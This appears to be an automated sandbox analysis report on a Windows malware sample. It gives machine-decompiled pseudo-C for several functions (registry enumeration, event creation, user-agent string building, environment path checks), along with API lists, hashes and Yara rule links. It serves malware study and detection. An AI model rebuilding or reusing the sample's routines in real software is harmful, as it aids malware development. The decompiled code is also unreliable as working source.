									E04A8213B( *_t40, _t96, _a8,  *0x4a8d338, _a24); // executed
									_t43 = _t105 + 0x10; // 0x3d04a8c0
									E04A8213B( *_t43, _t96, _a8,  *0x4a8d330, _a16);
								}
								if( *_t105 != 0) {
									E04A89A1A(_a24);
								} else {
									 *_t105 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t105 + 0x10; // 0x3d04a8c0
					if(E04A82288( *_t21, _t96, _a8, _t68,  &_v16,  &_v12) == 0) {
						_t104 = _v16;
						_t88 = 0x28;
						if(_v12 == _t88) {
							 *_t104 =  *_t104 & 0x00000000;
							_t26 = _t105 + 0x10; // 0x3d04a8c0
							E04A81864( *_t26, _t96, _a8, _a24, _t104);
						}
						E04A89A1A(_t104);
						_t102 = _a16;
					}
					E04A89A1A(_a24);
					goto L14;
				}
				if(_t102 <= 8 || _t102 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					memcpy( &_v284, _a8, _t102);
					__imp__(_t106 + _t102 - 0x117,  *0x4a8d33c);
					 *((char*)(_t106 + _t102 - 0x118)) = 0x5c;
					_t96 = 0x80000003;
					goto L6;
				}
			}

0x04a837dd
0x04a837e6
0x04a837ed
0x04a837f2
0x04a83861
0x04a83867
0x04a8386c
0x04a83875
0x04a8387c
0x04a8387f
0x04a839f3
0x04a839fa
0x04a839fa
0x04a839ff
0x04a83a01
0x04a83a01
0x04a83a0a
0x04a83a0a
0x04a83885
0x04a8388a
0x04a83891
0x04a839e9
0x04a839ec
0x00000000
0x04a839ec
0x04a83897
0x04a8389c
0x04a838a5
0x04a838ac
0x04a838af
0x04a838f9
0x04a838f9
0x04a8390c
0x04a8390f
0x04a83916
0x04a8391e
0x04a83923
0x04a8392d
0x04a8392d
0x04a83925
0x04a83925
0x04a83925
0x04a83925
0x04a8394f
0x04a83957
0x04a83985
0x04a8398a
0x04a83993
0x04a83998
0x04a8399c
0x04a839ce
0x04a8399e
0x04a839ab
0x04a839ae
0x04a839be
0x04a839c1
0x04a839c7
0x04a839c7
0x04a83959
0x04a83966
0x04a83969
0x04a8397b
0x04a8397e
0x04a8397e
0x04a839d8
0x04a839e4
0x04a839da
0x04a839dd
0x04a839dd
0x04a839d8
0x04a8394f
0x00000000
0x04a83916
0x04a838be
0x04a838c8
0x04a838ca
0x04a838cf
0x04a838d3
0x04a838d5
0x04a838e0
0x04a838e3
0x04a838e3
0x04a838e9
0x04a838ee
0x04a838ee
0x04a838f4
0x00000000
0x04a838f4
0x04a837f7
0x00000000
0x04a8381e
0x04a83829
0x04a8383f
0x04a83845
0x04a8384d
0x00000000
0x04a8384d

APIs

StrChrA.SHLWAPI(04A89AD0,0000005F,00000000,00000000,00000104), ref: 04A83810
memcpy.NTDLL(?,04A89AD0,?), ref: 04A83829
lstrcpy.KERNEL32(?), ref: 04A8383F

Part of subcall function 04A8843C: lstrlen.KERNEL32(?,00000000,04A8D330,00000001,04A85C66,04A8D00C,04A8D00C,00000000,00000005,00000000,00000000,?,?,?,04A85D65,?), ref: 04A88445
Part of subcall function 04A8843C: mbstowcs.NTDLL ref: 04A8846C
Part of subcall function 04A8843C: memset.NTDLL ref: 04A8847E

Part of subcall function 04A8213B: lstrlenW.KERNEL32(04A89AD0,?,?,04A839B3,3D04A8C0,80000002,04A89AD0,04A8A2A3,74666F53,4D4C4B48,04A8A2A3,?,3D04A8C0,80000002,04A89AD0,?), ref: 04A8215B

Part of subcall function 04A89A1A: RtlFreeHeap.NTDLL(00000000,00000000,04A85C24,00000000,?,?,-00000008), ref: 04A89A26

lstrcpy.KERNEL32(?,00000000), ref: 04A83861

Strings

\, xrefs: 04A83845

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpylstrlen$FreeHeapmbstowcsmemcpymemset
String ID: \
API String ID: 2598994505-2967466578
Opcode ID: 15cf3b0b397544a450100b4f89473eed68c367958914d52d40cdcd2629f08001
Instruction ID: e87bad2440b43224500d4b4568e7f893d794dfa9ecd196dbf77f273e1f2ae081
Opcode Fuzzy Hash: 15cf3b0b397544a450100b4f89473eed68c367958914d52d40cdcd2629f08001
Instruction Fuzzy Hash: AB514C72500209EFEF21BFA0DD45EAA7BB9FF08714F00841DF95696160E73AE916DB10

Uniqueness

Uniqueness Score: -1.00%

Function 04A866B8, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E04A866B8(char* __eax) {
				char* _t8;
				intOrPtr _t12;
				char* _t21;
				signed int _t23;
				char* _t24;
				signed int _t26;
				void* _t27;

				_t21 = __eax;
				_push(0x20);
				_t23 = 1;
				_push(__eax);
				while(1) {
					_t8 = StrChrA();
					if(_t8 == 0) {
						break;
					}
					_t23 = _t23 + 1;
					_push(0x20);
					_push( &(_t8[1]));
				}
				_t12 = E04A86B2A(_t23 << 2);
				 *((intOrPtr*)(_t27 + 0x10)) = _t12;
				if(_t12 != 0) {
					StrTrimA(_t21, 0x4a8c28c); // executed
					_t26 = 0;
					do {
						_t24 = StrChrA(_t21, 0x20);
						if(_t24 != 0) {
							 *_t24 = 0;
							_t24 =  &(_t24[1]);
							StrTrimA(_t24, 0x4a8c28c);
						}
						_t2 = _t27 + 0x10; // 0x4d283a53
						 *( *_t2 + _t26 * 4) = _t21;
						_t26 = _t26 + 1;
						_t21 = _t24;
					} while (_t24 != 0);
					_t6 = _t27 + 0x10; // 0x4d283a53
					 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x18)))) =  *_t6;
				}
				return 0;
			}

0x04a866c3
0x04a866c7
0x04a866c9
0x04a866ca
0x04a866d2
0x04a866d2
0x04a866d6
0x00000000
0x00000000
0x04a866cd
0x04a866ce
0x04a866d1
0x04a866d1
0x04a866de
0x04a866e5
0x04a866e9
0x04a866f1
0x04a866f7
0x04a866f9
0x04a866fe
0x04a86702
0x04a86704
0x04a86707
0x04a8670e
0x04a8670e
0x04a86714
0x04a86718
0x04a8671b
0x04a8671e
0x04a8671e
0x04a86726
0x04a8672a
0x04a8672a
0x04a86737

APIs

StrChrA.SHLWAPI(?,00000020,00000000,055295AC,?,?,?,04A84224,055295AC,?,?,?,04A89032,?,?,?), ref: 04A866D2
StrTrimA.KERNELBASE(?,04A8C28C,00000002,?,?,?,04A84224,055295AC,?,?,?,04A89032,?,?,?,4D283A53), ref: 04A866F1
StrChrA.SHLWAPI(?,00000020,?,?,?,04A84224,055295AC,?,?,?,04A89032,?,?,?,4D283A53,?), ref: 04A866FC
StrTrimA.SHLWAPI(00000001,04A8C28C,?,?,?,04A84224,055295AC,?,?,?,04A89032,?,?,?,4D283A53,?), ref: 04A8670E

Strings

S:(M, xrefs: 04A86714, 04A86726

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: Trim
String ID: S:(M
API String ID: 3043112668-2217774225
Opcode ID: 18c4764e093adb351bd7dd50117d5088e4ea072e33f96490ed269c2f6d307036
Instruction ID: 409f6f3fd62e864c441566d0545e5d99b6a332500d7ee64b46eac080d0ec14c6
Opcode Fuzzy Hash: 18c4764e093adb351bd7dd50117d5088e4ea072e33f96490ed269c2f6d307036
Instruction Fuzzy Hash: 5401B571645321ABE220BF699C49F277E9CFF99AA0F11051DF981C7280EB64DC0186E0

Uniqueness

Uniqueness Score: -1.00%

Function 04A88EAF, Relevance: 7.7, APIs: 5, Instructions: 159
memoryCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E04A88EAF(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				void* _t32;
				CHAR* _t36;
				CHAR* _t42;
				CHAR* _t43;
				CHAR* _t44;
				CHAR* _t46;
				void* _t49;
				void* _t51;
				signed char _t56;
				intOrPtr _t58;
				signed int _t59;
				void* _t63;
				CHAR* _t67;
				CHAR* _t68;
				char* _t69;
				void* _t70;

				_t61 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E04A89883();
				if(_t21 != 0) {
					_t59 =  *0x4a8d25c; // 0x4000000a
					_t55 = (_t59 & 0xf0000000) + _t21;
					 *0x4a8d25c = (_t59 & 0xf0000000) + _t21;
				}
				_t22 =  *0x4a8d160(0, 2);
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E04A82498( &_v8,  &_v20); // executed
					_t54 = _t25;
					_t26 =  *0x4a8d27c; // 0xa9a5a8
					if( *0x4a8d25c > 5) {
						_t8 = _t26 + 0x4a8e5cd; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0x4a8ea05; // 0x44283a44
						_t27 = _t7;
					}
					E04A82536(_t27, _t27);
					_t31 = E04A86204(_t61,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t63 = 5;
					if(_t54 != _t63) {
						 *0x4a8d270 =  *0x4a8d270 ^ 0x81bbe65d;
						_t32 = E04A86B2A(0x60);
						__eflags = _t32;
						 *0x4a8d324 = _t32;
						if(_t32 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t32, 0, 0x60);
							_t49 =  *0x4a8d324; // 0x55295b0
							_t70 = _t70 + 0xc;
							__imp__(_t49 + 0x40);
							_t51 =  *0x4a8d324; // 0x55295b0
							 *_t51 = 0x4a8e845;
						}
						__eflags = 0;
						_t54 = 0;
						if(0 == 0) {
							_t36 = RtlAllocateHeap( *0x4a8d238, 0, 0x43);
							__eflags = _t36;
							 *0x4a8d2c4 = _t36;
							if(_t36 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t56 =  *0x4a8d25c; // 0x4000000a
								_t61 = _t56 & 0x000000ff;
								_t58 =  *0x4a8d27c; // 0xa9a5a8
								_t13 = _t58 + 0x4a8e55a; // 0x697a6f4d
								_t55 = _t13;
								wsprintfA(_t36, _t13, _t56 & 0x000000ff, _t56 & 0x000000ff, 0x4a8c28f);
							}
							__eflags = 0;
							_t54 = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E04A85F3A( ~_v8 &  *0x4a8d270, 0x4a8d00c); // executed
								_t42 = E04A81A99(0, _t55, _t63, 0x4a8d00c); // executed
								_t54 = _t42;
								__eflags = _t54;
								if(_t54 != 0) {
									goto L30;
								}
								_t43 = E04A85D42(_t55); // executed
								__eflags = _t43;
								if(_t43 != 0) {
									__eflags = _v8;
									_t67 = _v12;
									if(_v8 != 0) {
										L29:
										_t44 = E04A81F70(_t61, _t67, _v8); // executed
										_t54 = _t44;
										goto L30;
									}
									__eflags = _t67;
									if(__eflags == 0) {
										goto L30;
									}
									_t46 = E04A89BA7(__eflags,  &(_t67[4])); // executed
									_t54 = _t46;
									__eflags = _t54;
									if(_t54 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t54 = 8;
							}
						}
					} else {
						_t68 = _v12;
						if(_t68 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0x4a8d164(); // executed
							}
							goto L34;
						}
						_t69 =  &(_t68[4]);
						do {
						} while (E04A8A5C2(_t63, _t69, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t54 = _t22;
					L34:
					return _t54;
				}
			}

0x04a88eaf
0x04a88eb9
0x04a88ebc
0x04a88ebf
0x04a88ec2
0x04a88ec9
0x04a88ecb
0x04a88ed7
0x04a88ed9
0x04a88ed9
0x04a88ee2
0x04a88eea
0x04a88eed
0x04a88f07
0x04a88f13
0x04a88f15
0x04a88f1a
0x04a88f24
0x04a88f24
0x04a88f1c
0x04a88f1c
0x04a88f1c
0x04a88f1c
0x04a88f2b
0x04a88f38
0x04a88f3f
0x04a88f44
0x04a88f44
0x04a88f4d
0x04a88f50
0x04a88f76
0x04a88f82
0x04a88f87
0x04a88f89
0x04a88f8e
0x04a88fba
0x04a88fbc
0x04a88f90
0x04a88f94
0x04a88f99
0x04a88f9e
0x04a88fa5
0x04a88fab
0x04a88fb0
0x04a88fb6
0x04a88fbd
0x04a88fbf
0x04a88fc1
0x04a88fd0
0x04a88fd6
0x04a88fd8
0x04a88fdd
0x04a8900d
0x04a8900f
0x04a88fdf
0x04a88fdf
0x04a88fe5
0x04a88ff2
0x04a88ff8
0x04a88ff8
0x04a89000
0x04a89009
0x04a89010
0x04a89012
0x04a89014
0x04a8901b
0x04a89028
0x04a8902d
0x04a89032
0x04a89034
0x04a89036
0x00000000
0x00000000
0x04a89038
0x04a8903d
0x04a8903f
0x04a89046
0x04a8904a
0x04a8904d
0x04a89062
0x04a89066
0x04a8906b
0x00000000
0x04a8906b
0x04a8904f
0x04a89051
0x00000000
0x00000000
0x04a89057
0x04a8905c
0x04a8905e
0x04a89060
0x00000000
0x00000000
0x00000000
0x04a89060
0x04a89043
0x04a89043
0x04a89014
0x04a88f52
0x04a88f52
0x04a88f57
0x04a8906d
0x04a89072
0x04a8907a
0x04a8907a
0x00000000
0x04a89072
0x04a88f5d
0x04a88f60
0x04a88f6a
0x04a88f71
0x00000000
0x04a89082
0x04a89082
0x04a89085
0x04a89089
0x04a89089

APIs

Part of subcall function 04A89883: GetModuleHandleA.KERNEL32(4C44544E,00000000,04A88EC7,00000001), ref: 04A89892

CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 04A88F44

Part of subcall function 04A86B2A: RtlAllocateHeap.NTDLL(00000000,-00000008,04A85B64), ref: 04A86B36

memset.NTDLL ref: 04A88F94
RtlInitializeCriticalSection.NTDLL(05529570), ref: 04A88FA5

Part of subcall function 04A89BA7: memset.NTDLL ref: 04A89BC1
Part of subcall function 04A89BA7: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 04A89BF8
Part of subcall function 04A89BA7: StrCmpNIW.SHLWAPI(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,04A8905C), ref: 04A89C03

RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 04A88FD0
wsprintfA.USER32 ref: 04A89000

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHandleHeapmemset$CloseCriticalInitializeModuleSectionlstrlenwsprintf
String ID:
API String ID: 4246211962-0
Opcode ID: dcbab23f3532c2b5ef7a4cc5dd8321acf9c7b9dde74593c49a95b191775f1251
Instruction ID: f96f19dd386ca07f85c06f0846a77ffb9648919736559201216233e3619e8b15
Opcode Fuzzy Hash: dcbab23f3532c2b5ef7a4cc5dd8321acf9c7b9dde74593c49a95b191775f1251
Instruction Fuzzy Hash: 8F51A0B1A00219EBFB21BBA4DD84A6F77BCEB18714F00442EE501EA181FB78BD458B51

Uniqueness

Uniqueness Score: -1.00%

Function 04A8234A, Relevance: 7.6, APIs: 5, Instructions: 95
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A8234A(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				long _t14;
				void* _t18;
				WCHAR* _t19;
				long _t20;
				void* _t25;
				void* _t26;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				WCHAR** _t32;

				_t6 =  *0x4a8d270; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0x4a8d27c; // 0xa9a5a8
				_t3 = _t8 + 0x4a8e836; // 0x61636f4c
				_t25 = 0;
				_t30 = E04A81A22(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0x4a8d2a8, 1, 0, _t30);
					E04A89A1A(_t30);
				}
				_t12 =  *0x4a8d25c; // 0x4000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t14 = E04A81644(_t32, _t26); // executed
					_t31 = _t14;
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t18 = E04A8A648(); // executed
					if(_t18 != 0) {
						goto L12;
					}
					_t19 = StrChrW( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 =  &(_t19[1]);
					}
					_t20 = E04A8A5C2(0,  *_t32, _t19, 0); // executed
					_t31 = _t20;
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								CloseHandle(_t25);
							}
							goto L22;
						}
					}
					goto L12;
				}
			}

0x04a8234b
0x04a82352
0x04a8235c
0x04a82360
0x04a82366
0x04a82375
0x04a8237c
0x04a82380
0x04a82392
0x04a82394
0x04a82394
0x04a82399
0x04a823a0
0x04a823f5
0x04a823f5
0x04a823fb
0x04a823fd
0x04a823fd
0x04a82402
0x04a82407
0x04a8240b
0x04a8241d
0x04a8241d
0x04a82421
0x04a82427
0x04a82427
0x00000000
0x04a823b0
0x04a823b0
0x04a823b7
0x00000000
0x00000000
0x04a823be
0x04a823c6
0x04a823c8
0x04a823cc
0x04a823cc
0x04a823d4
0x04a823d9
0x04a823dd
0x04a823e1
0x04a82436
0x04a8243c
0x04a8243c
0x04a823ef
0x04a823f3
0x04a8242a
0x04a8242c
0x04a8242f
0x04a8242f
0x00000000
0x04a8242c
0x04a823f3
0x00000000
0x04a823dd

APIs

Part of subcall function 04A81A22: lstrlen.KERNEL32(?,00000000,00000000,00000027,00000005,00000000,00000000,04A85D7F,74666F53,00000000,?,04A8D00C,?,?), ref: 04A81A58
Part of subcall function 04A81A22: lstrcpy.KERNEL32(00000000,00000000), ref: 04A81A7C
Part of subcall function 04A81A22: lstrcat.KERNEL32(00000000,00000000), ref: 04A81A84

CreateEventA.KERNEL32(04A8D2A8,00000001,00000000,00000000,61636F4C,00000001,00000000,?,?,00000000,?,04A89AEF,?,?,?), ref: 04A8238B

Part of subcall function 04A89A1A: RtlFreeHeap.NTDLL(00000000,00000000,04A85C24,00000000,?,?,-00000008), ref: 04A89A26

StrChrW.SHLWAPI(04A89AEF,00000020,61636F4C,00000001,00000000,?,?,00000000,?,04A89AEF,?,?,?), ref: 04A823BE
WaitForSingleObject.KERNEL32(00000000,00004E20,04A89AEF,00000000,00000000,?,00000000,?,04A89AEF,?,?,?), ref: 04A823E9
WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,?,?,00000000,?,04A89AEF,?,?,?), ref: 04A82417
CloseHandle.KERNEL32(00000000,61636F4C,00000001,00000000,?,?,00000000,?,04A89AEF,?,?,?), ref: 04A8242F

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
String ID:
API String ID: 73268831-0
Opcode ID: 32faa23e022bdb77d587d4fcd806dfafc606c5c7c63c31469ba80ae772fbe6fd
Instruction ID: a670052d55f0397b7ff40572536498de5f2bc14870c6d5b18fb1529204a2d048
Opcode Fuzzy Hash: 32faa23e022bdb77d587d4fcd806dfafc606c5c7c63c31469ba80ae772fbe6fd
Instruction Fuzzy Hash: 9C21E1736007119BE7317F68A848BBB73A9FB9C720B15066DFA55DB140EB74EC028661

Uniqueness

Uniqueness Score: -1.00%

Function 04A89BA7, Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 157
stringCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E04A89BA7(void* __eflags, WCHAR* _a4) {
				char _v40;
				char _v44;
				void _v48;
				int _v52;
				char _v56;
				char _v60;
				void* _v64;
				char _v68;
				intOrPtr _v72;
				int _v76;
				WCHAR* _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				char _v96;
				void* __ebx;
				void* __esi;
				intOrPtr _t40;
				int _t45;
				char _t50;
				intOrPtr _t52;
				void* _t55;
				intOrPtr _t67;
				void* _t70;
				void* _t81;
				WCHAR* _t90;

				_v52 = 0;
				memset( &_v48, 0, 0x2c);
				_v76 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t40 =  *0x4a8d27c; // 0xa9a5a8
				_t5 = _t40 + 0x4a8ee24; // 0x410025
				_t90 = E04A8A151(_t5);
				_v84 = _t90;
				if(_t90 == 0) {
					_t81 = 8;
					L24:
					return _t81;
				}
				_t45 = StrCmpNIW(_t90, _a4, lstrlenW(_t90)); // executed
				if(_t45 != 0) {
					_t81 = 1;
					L22:
					E04A89A1A(_v88);
					goto L24;
				}
				if(E04A817E7(0,  &_v96) != 0) {
					_v96 = 0;
				}
				_t50 = E04A8843C(0,  *0x4a8d33c);
				_v96 = _t50;
				if(_t50 == 0) {
					_t81 = 8;
					goto L19;
				} else {
					_t52 =  *0x4a8d27c; // 0xa9a5a8
					_t11 = _t52 + 0x4a8e81a; // 0x65696c43
					_t55 = E04A8843C(0, _t11);
					_t93 = _t55;
					if(_t55 == 0) {
						_t81 = 8;
					} else {
						_t81 = E04A82288(_v96, 0x80000001, _v92, _t93,  &_v60,  &_v56);
						E04A89A1A(_t93);
					}
					if(_t81 != 0) {
						L17:
						E04A89A1A(_v92);
						L19:
						_t92 = _v96;
						if(_v96 != 0) {
							E04A866A0(_t92);
						}
						goto L22;
					} else {
						if(( *0x4a8d260 & 0x00000001) == 0) {
							L14:
							E04A83A4B(_t81, _v60, _v56,  *0x4a8d270, 0);
							_t81 = E04A88283(_v72,  &_v64,  &_v60, 0);
							if(_t81 == 0) {
								_v68 = _v96;
								_v64 =  &_v60;
								_t81 = E04A8234A( &_v84, 0);
							}
							E04A89A1A(_v60);
							goto L17;
						}
						_t67 =  *0x4a8d27c; // 0xa9a5a8
						_t18 = _t67 + 0x4a8e823; // 0x65696c43
						_t70 = E04A8843C(0, _t18);
						_t95 = _t70;
						if(_t70 == 0) {
							_t81 = 8;
						} else {
							_t22 =  &_v96; // 0x65696c43
							_t81 = E04A82288( *_t22, 0x80000001, _v92, _t95,  &_v44,  &_v40);
							E04A89A1A(_t95);
						}
						if(_t81 != 0) {
							goto L17;
						} else {
							goto L14;
						}
					}
				}
			}

0x04a89bbd
0x04a89bc1
0x04a89bc8
0x04a89bd0
0x04a89bd1
0x04a89bd2
0x04a89bd3
0x04a89bd4
0x04a89bd5
0x04a89bdd
0x04a89be9
0x04a89bed
0x04a89bf1
0x04a89d5a
0x04a89d5b
0x04a89d63
0x04a89d63
0x04a89c03
0x04a89c0b
0x04a89d4c
0x04a89d4d
0x04a89d51
0x00000000
0x04a89d51
0x04a89c1e
0x04a89c20
0x04a89c20
0x04a89c2c
0x04a89c33
0x04a89c37
0x04a89d3a
0x00000000
0x04a89c3d
0x04a89c3d
0x04a89c42
0x04a89c4b
0x04a89c50
0x04a89c59
0x04a89c80
0x04a89c5b
0x04a89c75
0x04a89c77
0x04a89c77
0x04a89c83
0x04a89d2d
0x04a89d31
0x04a89d3b
0x04a89d3b
0x04a89d41
0x04a89d43
0x04a89d43
0x00000000
0x04a89c89
0x04a89c90
0x04a89cd5
0x04a89ce8
0x04a89d01
0x04a89d05
0x04a89d0b
0x04a89d13
0x04a89d22
0x04a89d22
0x04a89d28
0x00000000
0x04a89d28
0x04a89c92
0x04a89c97
0x04a89ca0
0x04a89ca5
0x04a89ca9
0x04a89cd0
0x04a89cab
0x04a89cbb
0x04a89cc5
0x04a89cc7
0x04a89cc7
0x04a89cd3
0x00000000
0x00000000
0x00000000
0x00000000
0x04a89cd3
0x04a89c83

APIs

memset.NTDLL ref: 04A89BC1

Part of subcall function 04A8A151: ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000000,?,?,00000000,04A89BE9,00410025,00000005,?,00000000), ref: 04A8A162
Part of subcall function 04A8A151: ExpandEnvironmentStringsW.KERNEL32(?,00000000,00000000,00000000), ref: 04A8A17F

lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 04A89BF8
StrCmpNIW.SHLWAPI(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,04A8905C), ref: 04A89C03

Strings

Clie, xrefs: 04A89CBB

Memory Dump Source

Source File: 00000001.00000002.484531446.0000000004A81000.00000020.00000001.sdmp, Offset: 04A80000, based on PE: true

Associated: 00000001.00000002.484498397.0000000004A80000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484561472.0000000004A8C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.484587545.0000000004A8D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.484602966.0000000004A8F000.00000002.00000001.sdmp Download File

Similarity

API ID: EnvironmentExpandStrings$lstrlenmemset
String ID: Clie
API String ID: 3817122888-1624203186
Opcode ID: 795a98f84835173532e5f05a13783b8200b7f5deb429aafeb54fe056fb31aa53
Instruction ID: 5b8121318874cdab3d6c415397154a2864f21f6681fab47f6b8df3523c3f7c80
Opcode Fuzzy Hash: 795a98f84835173532e5f05a13783b8200b7f5deb429aafeb54fe056fb31aa53
Instruction Fuzzy Hash: 0C41BEF2204304AFE720BFA0DD84D6BB7ECFF48214F40492DB985D7110E675E8058B92

Uniqueness

Uniqueness Score: -1.00%

Function 04A8A1D6, Relevance: 6.1, APIs: 4, Instructions: 98
registrysynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A8A1D6(void* __ecx, intOrPtr _a4) {
				int* _v8;
				int _v12;
				int* _v16;
				int _v20;
				int* _v24;
				char* _v28;
				void* _v32;
				long _t33;
				char* _t35;
				long _t39;
				long _t42;
				intOrPtr _t47;
				void* _t51;
				long _t53;

				_t51 = __ecx;
				_v8 = 0;
				_v16 = 0;
				_v12 = 0;
				_v24 = 0;
				_t33 = RegOpenKeyExA(0x80000003, 0, 0, 0x20019,  &_v32); // executed
				_t53 = _t33;
				if(_t53 != 0) {
					L18:
					return _t53;
				}
				_t53 = 8;
				_t35 = E04A86B2A(0x104);
				_v28 = _t35;
				if(_t35 == 0) {
					L17:
					RegCloseKey(_v32); // executed
					goto L18;
				}
				_v20 = 0x104;
				do {
					_v16 = _v20;
					_v12 = 0x104;
					_t39 = RegEnumKeyExA(_v32, _v8, _v28,  &_v12, 0, 0, 0, 0); // executed
					_t53 = _t39;
					if(_t53 != 0xea) {
						if(_t53 != 0) {
							L14:
							if(_t53 == 0x103) {
								_t53 = 0;
							}
							L16:
							E04A89A1A(_v28);
							goto L17;
						}
						_t42 = E04A837DD(_t51, _v32, _v28, _v24, _v12,  &_v8, _a4); // executed
						_t53 = _t42;
						if(_t53 != 0) {
							goto L14;
						}
						goto L12;
					}
					if(_v12 <= 0x104) {
						if(_v16 <= _v20) {
							goto L16;
						}
						E04A89A1A(_v24);
						_v20 = _v16;
						_t47 = E04A86B2A(_v16);
						_v24 = _t47;
						if(_t47 != 0) {
							L6:
							_t53 = 0;
							goto L12;
						}
						_t53 = 8;
						goto L16;
					}
					_v8 = _v8 + 1;
					goto L6;
					L12:
				} while (WaitForSingleObject( *0x4a8d26c, 0) == 0x102);
				goto L16;
			}

0x04a8a1d6
0x04a8a1f0
0x04a8a1f3
0x04a8a1f6
0x04a8a1f9
0x04a8a1fc
0x04a8a202
0x04a8a206
0x04a8a2e0
0x04a8a2e4
0x04a8a2e4
0x04a8a20f
0x04a8a216
0x04a8a21d
0x04a8a220
0x04a8a2d5
0x04a8a2d8
0x00000000
0x04a8a2de
0x04a8a226
0x04a8a229
0x04a8a230
0x04a8a23a
0x04a8a243
0x04a8a249
0x04a8a251
0x04a8a289
0x04a8a2c3
0x04a8a2c9
0x04a8a2cb
0x04a8a2cb
0x04a8a2cd
0x04a8a2d0
0x00000000
0x04a8a2d0
0x04a8a29e
0x04a8a2a3
0x04a8a2a7
0x00000000
0x00000000
0x00000000
0x04a8a2a7
0x04a8a256
0x04a8a265
0x00000000
0x00000000
0x04a8a26a
0x04a8a273
0x04a8a276
0x04a8a27d
0x04a8a280
0x04a8a25b
0x04a8a25b
0x00000000
0x04a8a25b
